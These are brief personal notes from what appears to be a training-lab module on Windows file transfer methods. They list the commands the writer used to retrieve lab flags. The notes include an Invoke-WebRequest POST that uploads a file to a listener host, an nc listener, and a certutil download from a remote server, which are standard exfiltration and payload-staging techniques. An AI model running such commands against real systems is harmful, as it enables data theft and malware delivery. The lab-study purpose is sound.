Windows File Transfer Methods

April 03, 2024

  • First flag

wget http://10.129.122.114/flag.txt
  • Second flag

mv ~/Downloads/*.zip .
wget http://10.10.15.2:8000/upload_win.zip -o upload_win.zip
ls

After unzipping the zip file just use hasher command

hasher .\upload_win.txt

Just trying some commands

  • First

Invoke-WebRequest -Uri http://10.10.15.2:8000 -Method POST -InFile .\windows.txt
nc -lnvp 8000
  • Second

certutil.exe -urlcache -split -f http://10.10.15.2:8000/forjohn.txt forjohn.txt

Last updated